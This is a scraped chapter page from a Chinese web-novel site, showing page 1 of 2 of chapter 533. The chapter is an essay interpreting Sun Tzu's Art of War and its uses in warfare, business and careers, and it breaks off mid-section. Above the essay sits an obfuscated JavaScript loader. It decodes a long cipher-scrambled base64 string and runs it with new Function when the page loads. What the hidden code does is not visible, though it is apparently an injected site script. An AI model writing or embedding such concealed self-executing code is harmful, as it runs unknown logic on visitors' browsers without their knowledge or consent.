趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第533章 对孙子兵法的解读(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

《孙子兵法》的解读

《孙子兵法》,又称《孙武兵法》或《孙子十三篇》,是中国古代最着名的兵书之一,被誉为“兵学圣典”。它不仅影响了中国乃至世界的军事理论,也对政治、经济、商业管理等多个领域产生了深远影响。本文将从历史背景、核心思想、军事战略、现实应用等角度对《孙子兵法》进行深入解读。

一、历史背景与成书过程

《孙子兵法》相传由春秋末期吴国将军孙武所着,成书于公元前500年左右。当时正值中国历史上的春秋战国时期,各国诸侯争相争霸,战争频繁,军事理论得到了高度发展。孙武以自己的战争经验和战略思考,总结出了一整套完整的军事理论体系,形成了《孙子兵法》。

该书由十三篇构成,分别是:《始计》、《作战》、《谋攻》、《军形》、《兵势》、《虚实》、《军争》、《九变》、《行军》、《地形》、《九地》、《火攻》和《用间》。每篇各有侧重,但共同构成了一个严密的战略体系。

二、核心思想

1. 道、天、地、将、法

在《孙子兵法》的第一篇《始计》中,孙子提出了影响战争胜败的五个关键因素,即:

?道:即民心所向,指国家的政治理念、社会制度和民众支持程度。

?天:指自然环境,如季节、气候、昼夜变化等。

?地:指地理条件,包括地形、交通、资源分布等。

?将:指统帅的才能,包括智、信、仁、勇、严五个方面。

?法:指军队的组织、制度、纪律等。

这五个因素决定了战争的全局,为作战前的战略决策提供了基本依据。

2. 兵者,诡道也

孙子强调“兵者,诡道也”,即战争本质上是一种策略对抗,需要灵活机动,利用欺骗、伪装、假象等手段迷惑敌人。例如,故意示弱以诱敌深入,或制造虚假的战场情报迷惑敌军,这些都是《孙子兵法》中“诡道”思想的具体体现。

3. 不战而屈人之兵

《孙子兵法》主张“上兵伐谋,其次伐交,其次伐兵,其下攻城。”这说明孙子认为最高明的战争策略是通过外交、谋略等手段使敌人不战而降,而不是直接动用武力。若必须动武,则应尽量通过心理战、经济战等手段削弱敌人,使战争的代价降到最低。

4. 先胜而后战

孙子主张“胜兵先胜而后求战,败兵先战而后求胜。”即优秀的将领在开战之前,已经通过各种策略确保胜利,而愚蠢的将领则是盲目开战后才想着如何取胜。强调战争需要周密的计划和充分的准备,而不是凭借一时的冲动。

5. 兵贵胜,不贵久

在《作战篇》中,孙子强调战争必须速战速决,长期作战会导致国家财政崩溃、士兵疲惫、民心丧失。因此,他主张采用迅捷高效的战术,以最小的成本换取最大的胜利。这一观点在现代战争中依然适用,如“闪电战”战略即是对孙子理论的运用。

三、军事战略分析

1. 进攻战略:避实击虚

孙子认为,进攻时应避开敌人坚固的防御,寻找其弱点加以打击,即“攻其无备,出其不意。”这一战略强调信息搜集和敌情分析,在战争中具有极大的实用性。例如,二战期间的德国闪电战正是利用敌军防御薄弱点进行突袭,从而迅速占领大片领土。

2. 防御战略:以逸待劳

孙子强调防御并不是被动挨打,而是一种主动的战略。“善守者,藏于九地之下;善攻者,动于九天之上。”意思是说,优秀的防御者可以使自己处于不败之地,并伺机反击。例如,中国历史上着名的长平之战,秦军通过坚守消耗赵军实力,最终实施反攻,大败赵军。

3. 兵力运用:集中优势兵力

孙子强调“十则围之,五则攻之,倍则战之,少则能逃之,不若则能避之。”即兵力优势时应围歼敌人,略有优势时可主动进攻,敌我势均力敌时则应寻找战机,若敌强我弱则应避免正面交锋。这个原则至今仍是军事学的重要理论基础。

四、现实应用

《孙子兵法》的思想不仅适用于军事领域,还广泛应用于政治、商业和个人管理。

1. 政治与外交

孙子的“伐谋”思想在现代国际政治中依然具有现实意义。例如,大国间的博弈往往不单纯依靠武力,而是通过外交、经济制裁、文化影响等手段达到战略目标。冷战时期的美苏对抗,就是一种不直接交战但通过各种方式争夺全球影响力的“伐谋”战。

2. 商业竞争

在商业领域,《孙子兵法》的许多策略被企业家广泛借鉴。例如:

?市场竞争中的“避实击虚”:企业应避免直接与行业巨头竞争,而是寻找细分市场或创新领域进行突破。

?“以逸待劳”策略:如特斯拉在电动车市场的布局,先通过高端车型树立品牌形象,再逐步进入大众市场。

这章没有结束,请点击下一页继续阅读!?“不战而屈人之兵”:如苹果公司利用品牌优势和生态系统,使竞争对手难以在其市场中生存,而无需直接进行价格战。

3. 个人管理与决策

在个人成长和管理上,《孙子兵法》同样有很大启发。例如:

?在职场竞争中,应先分析形势、制定策略,而不是盲目行动。

?在投资决策中,应采取稳健策略,不冒不必要的风险,遵循“先胜而后战”的原则。

?在人际关系中,懂得察言观色、灵活变通,可以更好地适应环境,达到自己的目标。

五、结论

《孙子兵法》不仅是一部兵书,更是一部关于战略思维的经典着作。它强调灵活应变、以智取胜、审时度势的原则,不仅在战争中有效,在政治、经济、商业等领域同样适用。无论是国家治理、企业管理,还是个人发展,都可以从《孙子兵法》中汲取智慧。因此,这部书不仅是中国传统文化的瑰宝,也是世界级的智慧结晶,值得我们深入研究和应用。

六、《孙子兵法》的现代启示

虽然《孙子兵法》成书于两千多年前,但其战略思想超越了时代限制,仍然对现代社会的多个领域产生深远影响。在全球化竞争日益激烈的今天,我们可以从《孙子兵法》中汲取哪些智慧?

1. 军事领域的应用

现代战争的形态已经发生巨大变化,从冷兵器时代进入信息化、智能化战场,但《孙子兵法》的基本原则依然适用。例如:

?信息战与心理战

孙子强调“知彼知己,百战不殆”,这与现代情报战、网络战高度契合。例如,美国在海湾战争中利用高科技信息战,先通过电子干扰和心理战瓦解敌军斗志,再实施精准打击,最终迅速取胜。这种战术正是“未战而胜”思想的体现。

?非对称作战

孙子强调“避实击虚”,即避免直接对抗敌方的强项,而是寻找敌方薄弱环节进行打击。现代战争中,小国或弱势一方常采用游击战、网络攻击等方式打击强敌,例如近年来的非对称战争模式,如乌克兰对俄战争中运用无人机袭击、大规模网络战等策略,均可见《孙子兵法》的影子。

?速战速决,避免消耗战

孙子主张“兵贵胜,不贵久”,强调战争应快速结束,否则会导致资源枯竭、士气低落。二战中的德国“闪电战”,以及美军在伊拉克战争中的“震慑战术”,都体现了这一思想。

2. 经济与商业管理的应用

在现代商业竞争中,《孙子兵法》被许多成功企业家奉为圭臬。以下是几个重要的商业管理原则:

(1)竞争策略:伐谋、伐交、伐兵、攻城

?伐谋(策略竞争):最高层次的竞争方式是通过战略布局、市场创新来赢得竞争优势。例如,苹果公司通过构建完整的生态系统(App Store、iCloud等),使用户产生依赖,从而建立长期竞争优势。

?伐交(联盟竞争):次一级的方法是通过合作或联盟来巩固市场地位。例如,谷歌、三星、微软等科技公司通过战略合作,在不同领域联合布局,实现共赢。

?伐兵(价格战与市场争夺):当战略和合作无法奏效时,企业可能采取价格战等直接竞争手段,如电商平台的促销大战。

?攻城(消耗性竞争):最下策是直接消耗战,例如旷日持久的价格战或广告战,这种方式成本巨大,容易两败俱伤。

(2)知己知彼,精准定位

?企业在进入市场前,必须进行深入的市场调研,了解竞争对手和自身的优势劣势。例如,小米通过互联网销售模式,规避了传统手机品牌在渠道上的强势,从而迅速崛起。

?现代大数据分析、消费者行为预测等,都是“知己知彼”思想在商业领域的具体应用。

(3)虚实结合,灵活应变

?孙子强调“虚者实之,实者虚之”,即制造假象、迷惑对手。例如,电商平台的“饥饿营销”策略,制造商品供不应求的假象,以提高用户购买欲望。

?企业在市场竞争中,需要灵活调整策略,例如诺基亚当年固守传统手机市场,未能及时调整策略迎接智能手机时代,最终导致失败。

3. 人生管理与职场智慧

(1)“上兵伐谋”,以智慧取胜

?在职场中,最高级别的竞争是通过思维和策略取胜,而不是直接对抗。例如,优秀的职场人士往往能够精准判断公司战略,找到自己最佳的定位,而不是盲目和同事竞争。

(2)“先胜而后战”,做好充分准备

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间